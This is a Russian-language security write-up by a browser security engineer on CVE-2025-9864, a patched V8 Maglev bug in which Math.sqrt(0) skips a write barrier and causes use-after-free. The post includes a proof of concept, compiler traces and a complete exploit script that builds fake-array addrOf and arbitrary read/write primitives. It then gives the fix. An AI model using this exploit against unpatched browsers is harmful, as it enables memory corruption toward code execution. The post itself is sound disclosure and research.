Как я нашёл уязвимость в JavaScript-движке, или Почему корень из нуля чуть не сломал браузеры
- среда, 24 декабря 2025 г. в 00:00:11

Сколько будет корень из нуля? Даже школьник ответит не задумываясь: ноль. Но если задать этот вопрос JIT‑компилятору Maglev внутри движка V8, то при определённых обстоятельствах он сначала скажет: «ноль», а потом решит сэкономить на проверке безопасности и отдаст злоумышленнику доступ к памяти браузера.
Меня зовут Паша Кузьмин, я занимаюсь практической безопасностью Яндекс Браузера и проекта Chromium. В нашей команде мы регулярно разбираем уязвимости и исследуем методы атак — чтобы защищать пользователей до того, как их атакуют злоумышленники. Сегодня расскажу про CVE-2025-9864 — уязвимость, которую я нашёл в движке V8.
Это история о том, как безобидный Math.sqrt(0) превращается в use‑after‑free, а затем в произвольное чтение и запись памяти. Разберём проблему по шагам: от теории до работающего эксплойта.
Прежде чем погружаться в детали, поясню ситуацию с безопасностью. Я обнаружил уязвимость ещё до того, как она вышла в стабильную версию Chrome. Основные браузеры на базе Chromium (включая Яндекс Браузер) уже закрыли описанную проблему в июльском обновлении V8.
Наша команда нашла проблему, когда работала над повышением эффективности внутренних инструментов для автоматизации фаззинга. Это метод автоматизированного тестирования, при котором программу бомбардируют случайными или специально структурированными данными, в надежде на возникновение ошибок.
Мы ежедневно проводим набор фазз‑тестов V8 и анализируем получившиеся краш‑репорты на предмет уязвимостей. На этот раз мне попался баг, который даёт примитивы произвольного чтения и записи памяти в процессе рендеринга. По сути, он является первым шагом к RCE.
Чтобы объяснить, в чём проблема, начну с теории.
V8 — это движок с открытым исходным кодом, который Google развивает уже много лет. Чтобы JavaScript работал быстро, V8 использует сложную многоуровневую систему компиляции. Когда функция вызывается впервые, она интерпретируется из байт‑кода — это медленно, но не требует времени на компиляцию. Если функция вызывается часто, V8 начинает компилировать её: сначала с помощью более простого, не слишком оптимизирующего компилятора, а затем, при дальнейшем активном использовании, может подключать высокооптимизирующий JIT‑компилятор. Идея в том, что для часто выполняемого кода затраты времени на глубокую оптимизацию окупаются значительным ускорением работы при повторных вызовах.

Ignition — интерпретатор, который запускается первым. Он считывает байт‑код и последовательно выполняет его.
Sparkplug — базовый компилятор, который компилирует байт‑код в машинный код и тем самым ускоряет выполнение по сравнению с интерпретатором.
TurboFan — высокооптимизирующий компилятор. Он строит сложное предст��вление кода в виде графа Sea of Nodes, выполняет агрессивные оптимизации и генерирует высокоэффективный машинный код, однако на сами оптимизации требуется дополнительное время.
Maglev — промежуточный JIT‑компилятор среднего уровня. Его добавили, чтобы сократить разрыв между простым интерпретатором / базовым компилятором и высокооптимизирующим TurboFan как по скорости компиляции, так и по качеству генерируемого кода.
Задача Maglev — быстро генерировать достаточно оптимизированный машинный код без затрат времени на глубокую оптимизацию. В отличие от TurboFan, Maglev использует более простое промежуточное представление на основе SSA (Static Single‑Assignment). Он работает с байт‑кодом, учитывая feedback из предыдущих запусков функции, и создаёт граф IR‑узлов, который затем компилируется в машинный код. Процесс компиляции в Maglev состоит из двух основных фаз: построение графа из SSA‑узлов и оптимизация представлений Phi‑значений. Подробнее о Maglev можно прочитать в официальной документации V8.
В V8 числа могут быть представлены двумя способами:
Smi (Small Integer) — хранит целые числа без создания отдельного объекта в куче, что повышает производительность;
HeapNumber — представляет числа как специализированные объекты в памяти кучи.
V8 использует поколенческую (generational) сборку мусора, основанную на гипотезе, что большинство объектов становятся неиспользуемыми вскоре после создания.
Соответственно, структура памяти состоит из двух зон:
Young Generation (молодое поколение) — область для новых объектов;
Old Generation (старое поколение) — область для долгоживущих объектов.
Сборка мусора происходит на двух уровнях: быстрая Minor GC (Scavenger), которая собирает только молодое поколение и происходит часто, и медленная Major GC (Mark‑Sweep‑Compact), которая собирает все поколения и происходит редко.
При сборке мусора в Young Generation есть проблема: в теории сборщик может удалить молодой объект, на который ссылается объект из Old Generation. Если это произойдёт, возникнет оши��ка, и чтобы избежать таких ситуаций, разработчики V8 предусмотрели Write barrier — это механизм отслеживания ссылок из старого поколения в молодое.
Write barrier критически важен для эффективной работы поколенческого сборщика мусора. Во время Minor GC сборщик сканирует только молодое поколение, а не всю кучу. Write barrier поддерживает список всех ссылок из старого поколения в молодое, благодаря чему сборщик мусора может найти все живые объекты в молодом поколении без необходимости проходить через весь граф объектов старого поколения. Это значительно ускоряет процесс сборки мусора.
Ещё одна важная сущность — Remembered Sets — структуры данных в V8, которые хранят информацию о ссылках между поколениями объектов (из старого поколения в молодое).

Это можно безопасно сделать, если соблюдается одно из условий:
Host‑объект находится в молодом поколении — молодые объекты всегда сканируются при сборке мусора.
Значение — это Smi. Small Integer не является указателем на объект в куче.
Значение является очищенной слабой ссылкой (cleared weak reference) — это значение больше не является указателем на живой объект.
Объект находится в ReadOnly heap, такие объекты никогда не удаляются.
Объект является «бессмертным», то есть относится к отдельному классу системных объектов, которые никогда не перемещаются и не удаляются.
Возможно, вы уже догадались, к чему я веду. Когда простое число (Smi) превращается в объект кучи (HeapNumber) через операцию Math.sqrt() после полной сборки мусора, механизм write barrier — система оповещения для сборщика мусора — не срабатывает из‑за бага в оптимизированном коде Maglev. В результате сборщик мусора может удалить объект, думая, что на него никто не ссылается, а программа продолжит использовать указатель на уже освобождённую память.

Это классический сценарий use‑after‑free, то есть ошибка памяти, при которой программа продолжает использовать указатель на объект, который уже был освобождён. После освобождения та же область памяти может быть выделена под другой объект. Любое дальнейшее чтение/запись по висячему указателю обращается уже не к старому объекту, а к чему‑то другому.
Это даёт возможность выполнения произвольного кода, если получится добиться контролируемого повторного использования этой памяти.
Рассмотрим пример, демонстрирующий проблему:
$ cat poc.js
function f1() {
gc(); // Запуск полной сборки мусора
v0 = Math.sqrt(0); // Создание проблемного значения
%DebugPrint(v0); // Вывод отладочной информации
}
function f5(a) {
%OptimizeMaglevOnNextCall(f1); // Принудительная оптимизация Maglev
f1();
}
let v0 = 1; // Инициализация глобальной переменной
f5(); // Первый вызов -- интерпретация
f5(); // Второй вызов -- выполнение оптимизированного кода
$ ./out/debug/d8 poc.js --allow-natives-syntax --expose-gc
DebugPrint: Smi: 0x0 (0)
#
# Fatal error in ../../src/runtime/runtime-test.cc, line 2324
# Check failed: !WriteBarrier::IsRequired(heap_object, value).
#
#
#
#FailureMessage Object: 0x7b1defeb8860
==== C stack trace ===============================
./out/debug/d8(__interceptor_backtrace+0x46) [0x558dde25b8a6]
./out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x558dde941a93]
./out/debug/d8(+0x494045a) [0x558dde93f45a]
./out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x2a0) [0x558dde92cfb0]
./out/debug/d8(+0x6c2d839) [0x558de0c2c839]
./out/debug/d8(v8::internal::Runtime_CheckNoWriteBarrierNeeded(int, unsigned long*, v8::internal::Isolate*)+0x1e5) [0x558de0c2bdb5]
./out/debug/d8(+0xbe1747d) [0x558de5e1647d]
Trace/breakpoint trapЕсли не запускать сборку мусора, после оптимизации краша не произойдёт, а результатом будет HeapNumber:
$ cat poc.js
function f1() {
// gc(); без принудительной сборки мусора
v0 = Math.sqrt(0); // Вычисляем корень из нуля.
%DebugPrint(v0);
}
// ... остальной код без изменений ...
$ ./out/debug/d8 poc.js --allow-natives-syntax
DebugPrint: Smi: 0x0 (0)
// До оптимизации значение v0 хранится как Smi
DebugPrint: 0x7a9100189d51: [HeapNumber]
- map: 0x7a9100000515 <Map[12](HEAP_NUMBER_TYPE)>
- value: 0.0
// После оптимизации результат становится HeapNumber объектом
0x7a9100000515: [Map] in ReadOnlySpace
- map: 0x7a9100000475 <MetaMap (0x7a910000002d <null>)>
- type: HEAP_NUMBER_TYPE
- instance size: 12
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x7a9100000011 <undefined>
- prototype_validity_cell: 0
- instance descriptors (own) #0: 0x7a91000007f1 <DescriptorArray[0]>
- prototype: 0x7a910000002d <null>
- constructor: 0x7a910000002d <null>
- dependent code: 0x7a91000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0./out/debug/d8 poc.js --allow-natives-syntax --expose-gc --trace-maglev-graph-building
Concurrent maglev has been disabled for tracing.
DebugPrint: Smi: 0x0 (0)
Compiling 0x7a4b00064d99 <JSFunction f1 (sfi = 0x7a4b00064cb5)> with Maglev
Parameter count 2
Register count 2
Frame size 16
0x7a3a001001b4 @ 0 : 23 00 00 LdaGlobal [0], [0]
0x7a3a001001b7 @ 3 : d0 Star1
0x7a3a001001b8 @ 4 : 33 f8 01 02 GetNamedProperty r1, [1], [2]
0x7a3a001001bc @ 8 : d1 Star0
0x7a3a001001bd @ 9 : 66 f9 f8 03 04 CallProperty1 r0, r1, a0, [4]
0x7a3a001001c2 @ 14 : d1 Star0
0x7a3a001001c3 @ 15 : 18 02 LdaCurrentContextSlot [2]
0x7a3a001001c5 @ 17 : b7 02 ThrowReferenceErrorIfHole [2]
0x7a3a001001c7 @ 19 : 0b f9 Ldar r0
0x7a3a001001c9 @ 21 : 29 02 StaCurrentContextSlot [2]
0x7a3a001001cb @ 23 : 18 02 LdaCurrentContextSlot [2]
0x7a3a001001cd @ 25 : d1 Star0
0x7a3a001001ce @ 26 : 6d b8 01 f9 01 CallRuntime [DebugPrint], r0-r0
0x7a3a001001d3 @ 31 : 0e LdaUndefined
0x7a3a001001d4 @ 32 : b6 Return
Constant pool (size = 3)
0x7a3a00100179: [TrustedFixedArray]
- map: 0x7a4b00000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
- length: 3
0: 0x7a4b001c1549 <String[4]: #Math>
1: 0x7a4b001c1749 <String[4]: #sqrt>
2: 0x7a4b00064bd5 <String[2]: #v0>
Handler Table (size = 0)
Source Position Table (size = 0)
0x7a4b00064ea5: [FeedbackVector] in OldSpace
- map: 0x7a4b0000087d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 6
- shared function info: 0x7a4b00064cb5 <SharedFunctionInfo f1>
- tiering_in_progress: 0
- osr_tiering_in_progress: 0
- invocation count: 2
- closure feedback cell array: 0x7a4b000021bd: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x7a4b00000855 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0
- elements:
- slot #0 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x7a4b0005e945 <PropertyCell name=0x7a4b001c1549 <String[4]: #Math> value=0x7a4b00057871 <Object map = 0x7a4b00063d25>> {
[0]: [weak] 0x7a4b0005e945 <PropertyCell name=0x7a4b001c1549 <String[4]: #Math> value=0x7a4b00057871 <Object map = 0x7a4b00063d25>>
[1]: 0x7a4b00000e79 <Symbol: (uninitialized_symbol)>
}
- slot #2 LoadProperty MONOMORPHIC
[weak] 0x7a4b00063d25 <Map[28](HOLEY_ELEMENTS)>: LoadHandler(Smi)(kind = kField, is in object = 0, is double = 0, field index = 29) {
[2]: [weak] 0x7a4b00063d25 <Map[28](HOLEY_ELEMENTS)>
[3]: 14853
}
- slot #4 Call MONOMORPHIC {
[4]: [weak] 0x7a4b00057c31 <JSFunction sqrt (sfi = 0x7a4b001cc049)>
[5]: 8
}
0x7debc2703950 n1: InitialValue(<this>) → (x), 0 uses 🪦
0x7debc2703af0 n2: InitialValue(a0) → (x), 0 uses 🪦
0x7debc2703eb0 n3: Constant(0x7a4b00064d99 <JSFunction f1 (sfi = 0x7a4b00064cb5)>) → (x), 0 uses 🪦
0x7debc2703f70 n4: Constant(0x7a4b00064d85 <ScriptContext[3]>) → (x), 0 uses 🪦
0x7debc27040b8 n5: RootConstant(undefined_value) → (x), 0 uses 🪦
0x7debc27041e8 n6: FunctionEntryStackCheck
0x7debc27042c8 n7: Jump
0 : 23 00 00 LdaGlobal [0], [0]
== New block (merge @0x7debc2704398) at 0x7a4b00064cb5 <SharedFunctionInfo f1>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x7debc2704398
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
0x7debc27050c8 n8: Constant(0x7a4b00057871 <Object map = 0x7a4b00063d25>) → (x), 0 uses 🪦
3 : d0 Star1
4 : 33 f8 01 02 GetNamedProperty r1, [1], [2]
0x7debc2706640 n9: Constant(0x7a4b00057c31 <JSFunction sqrt (sfi = 0x7a4b001cc049)>) → (x), 0 uses 🪦
* Recording constant known property n8: Constant(0x7a4b00057871 <Object map = 0x7a4b00063d25>) → (x), 0 uses 🪦 [0x7a4b001c1749 <String[4]: #sqrt>] = n9: Constant(0x7a4b00057c31 <JSFunction sqrt (sfi = 0x7a4b001cc049)>) → (x), 0 uses 🪦
8 : d1 Star0
9 : 66 f9 f8 03 04 CallProperty1 r0, r1, a0, [4]
! Trying to reduce builtin MathSqrt
0x7debc2706958 n10: CheckedNumberOrOddballToFloat64(Number) [n2:(x)] → (x), 0 uses, but required, cannot truncate to int32
0x7debc2706ae0 n11: Float64Sqrt(MathSqrt) [n10:(x)] → (x), 0 uses 🪦
14 : d1 Star0
15 : 18 02 LdaCurrentContextSlot [2]
0x7debc2706cc8 n12: Constant(0x7a4b00066821 <ContextCell[smi=0]>) → (x), 0 uses 🪦
0x7debc2706da0 n13: LoadTaggedField(0x4, compressed) [n12:(x)] → (x), 0 uses 🪦
17 : b7 02 ThrowReferenceErrorIfHole [2]
0x7debc2707000 n14: ThrowReferenceErrorIfHole [n13:(x)]
19 : 0b f9 Ldar r0
21 : 29 02 StaCurrentContextSlot [2]
0x7e2bc26ea498 n15: CheckHoleyFloat64IsSmi [n11:(x)]
0x7e2bc26ea638 n16: HoleyFloat64ToTagged [n11:(x)] → (x), 0 uses 🪦
0x7e2bc26ea5d8 n17: StoreTaggedFieldNoWriteBarrier(0x4) [n12:(x), n16:(x)]
* Recording context slot store n4[16]: Float64Sqrt(MathSqrt) [n10:(x)] → (x), 3 uses
23 : 18 02 LdaCurrentContextSlot [2]
* Reusing cached context slot n4[16]: Float64Sqrt(MathSqrt) [n10:(x)] → (x), 3 uses
25 : d1 Star0
26 : 6d b8 01 f9 01 CallRuntime [DebugPrint], r0-r0
0x7e2bc26ea8a8 n18: CallRuntime(DebugPrint) [n4:(x), n16:(x)] → (x), 0 uses, but required
! Clearing unstable node aspects
31 : 0e LdaUndefined
32 : b6 Return
0x7e2bc26ea9f8 n19: Constant(0x7a4b00064d55 <FeedbackCell[one closure]>) → (x), 0 uses 🪦
0x7e2bc26eaad8 n20: ReduceInterruptBudgetForReturn(32) [n19:(x)]
0x7e2bc26eab70 n21: Return [n5:(x)]
#
# Fatal error in ../../src/runtime/runtime-test.cc, line 2324
# Check failed: !WriteBarrier::IsRequired(heap_object, value).
#
#
#
#FailureMessage Object: 0x7b5bc181dc60
==== C stack trace ===============================
./out/debug/d8(___interceptor_backtrace+0x46) [0x5621ba3748a6]
./out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621baa5aa93]
./out/debug/d8(+0x494045a) [0x5621baa5845a]
./out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x2a0) [0x5621baa45fb0]
./out/debug/d8(+0x6c2d839) [0x5621bcd45839]
./out/debug/d8(v8::internal::Runtime_CheckNoWriteBarrierNeeded(int, unsigned long*, v8::internal::Isolate*)+0x1e5) [0x5621bcd44db5]
./out/debug/d8(+0xbe1747d) [0x5621c1f2f47d]
Trace/breakpoint trapПри выполнении Math.sqrt(0) в JIT‑компиляторе Maglev создаётся узел Float64Sqrt в IR‑графе. Ключевая особенность — этот узел имеет представление kHoleyFloat64:
src/maglev/maglev‑ir.h:3775-3790
class Float64Sqrt : public FixedInputValueNodeT<1, Float64Sqrt> {
using Base = FixedInputValueNodeT<1, Float64Sqrt>;
public:
explicit Float64Sqrt(uint64_t bitfield) : Base(bitfield) {}
static constexpr OpProperties kProperties = OpProperties::HoleyFloat64();
// Возвращает значение с представлением kHoleyFloat64
static constexpr typename Base::InputTypes kInputTypes{
ValueRepresentation::kHoleyFloat64};
Input& input() { return Node::input(0); }
void SetValueLocationConstraints();
void GenerateCode(MaglevAssembler*, const ProcessingState&);
void PrintParams(std::ostream&) const;
};В трассировке компиляции это выглядит так:
n11: Float64Sqrt(MathSqrt) [n10:(x)] → (x), 0 uses 🪦Инструкция StaCurrentContextSlot [2] сохраняет значение в контекст:
21 : 29 02 StaCurrentContextSlot [2]
// SetKnownValue ValueRepresentation::kHoleyFloat64Компилятор видит, что контекстный слот имеет состояние ContextCell::kSmi, поэтому вызывается специальная версия сохранения результата:
src/maglev/maglev‑graph‑builder.cc:3255-3263
MaybeReduceResult MaglevGraphBuilder::TrySpecializeStoreContextSlot(
ValueNode* context, int index, ValueNode* value, Node** store) {
...
case ContextCell::kSmi:
RETURN_IF_ABORT(BuildCheckSmi(value));
broker()->dependencies()->DependOnContextCell(slot_ref, state);
return BuildStoreTaggedFieldNoWriteBarrier(
GetConstant(slot_ref), value,
offsetof(ContextCell, tagged_value_),
StoreTaggedMode::kDefault, store);
}n15: CheckHoleyFloat64IsSmi [n11:(x)]На этом этапе функция CanElideWriteBarrier определяет, можно ли пропустить барьер записи:
src/maglev/maglev‑graph‑builder.cc:4441-4444
if (!IsEmptyNodeType(GetType(value)) &&
CheckType(value, NodeType::kSmi)) {
value->MaybeRecordUseReprHint(UseRepresentation::kTagged);
return true;
// Считает, что значение -- Smi, write barrier не нужен
}Проверка считает, что значение является Smi, но не учитывает последующее преобразование.
n16: HoleyFloat64ToTagged [n11:(x)] → (x), 0 uses 🪦После проверки значение в функции GetTaggedValue для представления kHoleyFloat64 вызывается конвертация:
src/maglev/maglev‑reducer‑inl.h:495-499
case ValueRepresentation::kHoleyFloat64: {
return alternative.set_tagged(
AddNewNodeNoInputConversion<HoleyFloat64ToTagged>(
{value},
HoleyFloat64ToTagged::ConversionMode::kForceHeapNumber));
}Режим kForceHeapNumber гарантирует, что значение всегда будет преобразовано в HeapNumber, а не в Smi.
В результате:
В контекстный слот записывается указатель на HeapNumber.
Write barrier не устанавливается.
Сборщик мусора не знает о ссылке и освобождает объект.
Код продолжает использовать висящий указатель.
Это подтверждается ошибкой в debug‑сборке:
# Check failed: !WriteBarrier::IsRequired(heap_object, value).Мы получили классический Dangling Pointer — висячий указатель и ошибку памяти use‑after‑free. Теперь этот адрес свободен, и мы можем попытаться записать туда что‑то своё.
Что это даёт атакующему? Возможность построить read/write‑примитивы — механизм для чтения и записи данных по произвольным адресам памяти процесса. Работает это так: через висячий указатель мы создаём поддельный объект массива с контролируемыми метаданными. Благодаря этому ограниченная уязвимость use‑after‑free превратится в инструмент для чт��ния и модификации данных в памяти V8. Это, в свою очередь, открывает путь к обходу дополнительных защит и выполнению произвольного кода.
Чтобы один объект мог наложиться на другой в нужной точке, нам нужно точно контролировать их расположение в памяти. Мы можем манипулировать аллокатором памяти, создавая объекты с предсказуемыми размерами.
Для этого будем использовать объекты Uint8Array и ArrayBuffer, с предсказуемыми размерами в памяти.
Размеры объектов: new Uint8Array() занимает 0x70 байт, а new ArrayBuffer() — 0x34 байта.
Вычисление смещения: 0x70 − 2 * 0x34 = 0x8.
Это смещение в 8 байт позволит нам выровнять начало нашего поддельного объекта JSArray с полем elements массива fake_object_array.
Далее нужен массив fake_object_array, чтобы его значения соответствовали структуре JSArray. Стандартный JSArray в памяти V8 имеет следующую структуру:
map — указатель на карту объекта. Определяет его тип и структуру.
properties — указатель на массив свойств.
elements — указатель на начало элементов массива.
length — длина массива.
Нужно создать байтовые последовательности для каждого поля так, чтобы они были валидными. map и properties я просто взял у массива fake_object_array.
0x0004ceed 0x000007bd 0x000495bd 0x00000466
map properties elements length
\_________ _________/ \__________ __________/
Первый элемент Второй элемент
(число float64) (число float64)Представив эти байты в виде Float64, получим:
fake_object_array = [
4.2036738175907e-311, // map и properties
2.3893674090823e-311, // elements и length
0, 0 // padding
];После выполнения всех манипуляций со смещением и заполнением fake_object_array висячий указатель теперь указывает на область памяти, которую V8 интерпретирует как валидный JSArray. Теперь, обращаясь к элементам этого поддельного массива (например, fake_array[100] ), мы можем читать и записывать данные в куче V8.
DebugPrint: 0x35d100080081: [JSArray]
- map: 0x35d10004ceed <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x35d10004c851 <JSArray[0]>
- elements: 0x35d1000495bd <JSObject> [PACKED_DOUBLE_ELEMENTS]
- length: 563
- properties: 0x35d1000007bd <FixedArray[0]>
- All own properties (excluding elements): {
0x35d100000dfd: [String] in ReadOnlySpace: #length:
0x35d1000269c9 <AccessorInfo name=0x35d100000dfd <String[6]: #length>,
data=0x35d100000011 <undefined>>
(const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x35d1000495bd <JSObject> {
0: 4.46928e-309
1: 5.26616e-310
2: 4.20367e-311
3: 2.33752e-308
4: 5.94713e-309
5: 5.98048e-309
}// Глобальный массив, используемый в addrOf.
var addrOf_LO = new Array(0x30000);
// Вспомогательный класс Helpers
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.dv = new DataView(this.buf);
this.u8 = new Uint8Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.roots = new Array(0x30000);
this.index = 0;
}
add_ref(object) {
this.roots[this.index++] = object;
}
pair_i32_to_f64(p1, p2) {
this.u32[0] = p1;
this.u32[1] = p2;
return this.f64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
set_i64(i) {
this.u64[0] = i;
}
set_l(i) {
this.u32[0] = i;
}
set_h(i) {
this.u32[1] = i;
}
get_i64() {
return this.u64[0];
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0];
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1];
}
// Управление сборщиком мусора
mark_sweep_gc() { // Большое выделение запускает Major GC
new ArrayBuffer(0x7fe00000);
}
scavenge_gc() { // Заполнение молодого поколения запускает Minor GC
for (var i = 0; i < 8; i++) {
this.add_ref(new ArrayBuffer(0x200000));
}
this.add_ref(new ArrayBuffer(8));
}
trap() {
while (1) {}
}
}
const helper = new Helpers();
function f1() {
helper.mark_sweep_gc();
new Uint8Array();
v0 = Math.sqrt(0);
}
// Прогрев функции для запуска компилятора Maglev
function f5() {
for (let i = 0; i < 300; i++) {
f1();
}
}
let fake_object_array = null;
let v0 = 1;
f5();
f5();
helper.scavenge_gc();
// Minor GC и Major GC для подготовки heap
helper.mark_sweep_gc();
new ArrayBuffer();
new ArrayBuffer();
// 0x0004ceed 0x000007bd 0x000495bd 0x00000466
// map properties elements length
fake_object_array = [
4.2036738175907e-311, // map и properties
2.3893674090823e-311, // elements и length
0,
0 // padding
];
let fake_array = v0;
// fake_array теперь указывает на объект, созданный на предыдущем шаге
/**
* Получение адреса JS-объекта в памяти.
* Механизм:
* 1. Устанавливаем поле `elements` нашего `fake_array` так, чтобы оно указывало на
* `elements` другого массива -- `addrOf_LO`.
* 2. Помещаем целевой объект в `addrOf_LO[0]`.
* 3. Теперь при чтении `fake_array[0]` мы на самом деле читаем указатель на объект.
* 4. Возвращаем младшие 32 бита прочитанного значения.
*/
function addrOf(object) {
fake_object_array[1] = helper.i64tof64(0x0006000000100011n);
addrOf_LO[0] = object;
return helper.ftoil(fake_array[0]);
}
/**
* Читает 64-битное значение из произвольного адреса памяти.
* Механизм:
* 1. Модифицируем метаданные `fake_array`, а именно его поле `elements`.
* 2. Устанавливаем `elements` равным `where - 8` (адрес с вычетом смещения
* на заголовок объекта).
* 3. Одновременно устанавливаем значение `length`.
* 4. Читаем `fake_array[0]`, что приводит к чтению 64-битного значения по адресу `where`.
*/
function arbRead(where) {
fake_object_array[1] = helper.pair_i32_to_f64(where - 8, 0x60000);
return helper.f64toi64(fake_array[0]);
}
/**
* Записывает 64-битное значение в произвольный адрес памяти.
* Механизм:
* 1. Аналогично `arbRead`, устанавливаем `elements` нашего `fake_array`
* на целевой адрес `where - 8` и задаём длину.
* 2. Записываем значение `what` в `fake_array[0]`.
* Это приводит к прямой записи 64-битного значения по адресу `where`.
*/
function arbWrite(where, what) {
// Модификация метаданных для указания на целевой адрес
fake_object_array[1] = helper.pair_i32_to_f64(where - 8, 0x60000);
// Установка elements и большой длины
fake_array[0] = helper.i64tof64(what);
// Запись значения в первый элемент
}
// Создание целевого массива для демонстрации
var victim_array = [1.1, 1.2];
console.log("Now we try to modify the length of the victim array...");
console.log("Before: " + victim_array.length);
// Вывод оригинальной длины массива (2)
arbWrite(
addrOf(victim_array) + 1 + 0xc,
0x2333n
);
// Запись нового значения длины по вычисленному адресу
console.log("After: " + victim_array.length); // Вывод изменённой длины (1153410)Демонстрация:
$ gsutil cp gs://v8-asan/linux-release/d8-linux-release-v8-component-101650.zip /tmp
$ unzip /tmp/d8-linux-release-v8-component-101650.zip -d ./d8-release-101650
$ ./d8-release-101650/d8 rw_exploit.js
Now we try to modify the length of the victim array...
Before: 2
After: 1153410Как починить то, что сломано на уровне архитектурной оптимизации? К счастью, для этого не нужно переписывать половину компилятора. На самом деле для исправления проблемы достаточно одной строки. Исправление уязвимости заключается в изменении свойств узла Float64Sqrt с HoleyFloat64 на Float64:
- static constexpr OpProperties kProperties = OpProperties::HoleyFloat64();
+ static constexpr OpProperties kProperties = OpProperties::Float64();С новым типом Float64 преобразование использует режим kCanonicalizeSmi:
src/maglev/maglev‑reducer‑inl.h:490-494
case ValueRepresentation::kFloat64: {
return alternative.set_tagged(
AddNewNodeNoInputConversion<Float64ToTagged>(
{value}, Float64ToTagged::ConversionMode::kCanonicalizeSmi));
}Теперь значение 0.0 корректно преобразуется в Smi, а не в HeapNumber, что устраняет несоответствие между проверкой типа и фактическим преобразованием.
Патчи с исправлением:
CL 6790293 — исправление типа Float64Sqrt в maglev-ir.h;
CL 6787941 — дополнительные проверки и добавление регресс‑теста.
Значит ли это, что до сентября 2025 года любой мог взломать ваш ноутбук через браузер? Нет.
Рассмотренная уязвимость выглядит страшно, но современный браузер — это матрёшка из песочниц. Чтобы добраться до файлов или установить кейлоггер, после эксплуатации CVE-2025-9864 злоумышленнику нужно было пробить ещё несколько стен:
V8 Sandbox — первый уровень изоляции внутри самого движка. Даже с примитивами чтения/записи нельзя напрямую выполнить произвольный код.
Chromium Sandbox — песочница уровня операционной системы, которая использует такие механизмы, как seccomp‑bpf на Linux, App Containers на Windows и Seatbelt на macOS для ограничения системных вызовов и доступа к ресурсам.
Для полноценного RCE нужна цепочка эксплойтов: сначала обход V8 Sandbox, затем лазейка из Chromium Sandbox через уязвимость в ядре или привилегированном компоненте. Разработка такого вектора требует колоссальных ресурсов и квалификации. Поэтому в дикой природе такие атаки встречаются крайне редко.
История с Math.sqrt(0) — отличное напоминание о цене производительности. Мы хотим, чтобы веб‑приложения работали со скоростью нативных программ. Для этого разработчики пишут сложнейшие JIT‑компиляторы вроде Maglev, но чем сложнее система, тем труднее удержать в голове все варианты.
Именно поэтому критически важно закладывать в их архитектуру принцип многоуровневой защиты ещё на этапе проектирования. Баги неизбежны — у атакующего всегда будет возможность найти уязвимость. Сервисы должны создаваться с расчётом на хакерские атаки: даже если один компонент взломан, это не должно приводить к полной компрометации системы.
Проверяйте апдейты, не доверяйте пользовательскому вводу, и помните: даже у корня из нуля могут быть очень глубокие последствия.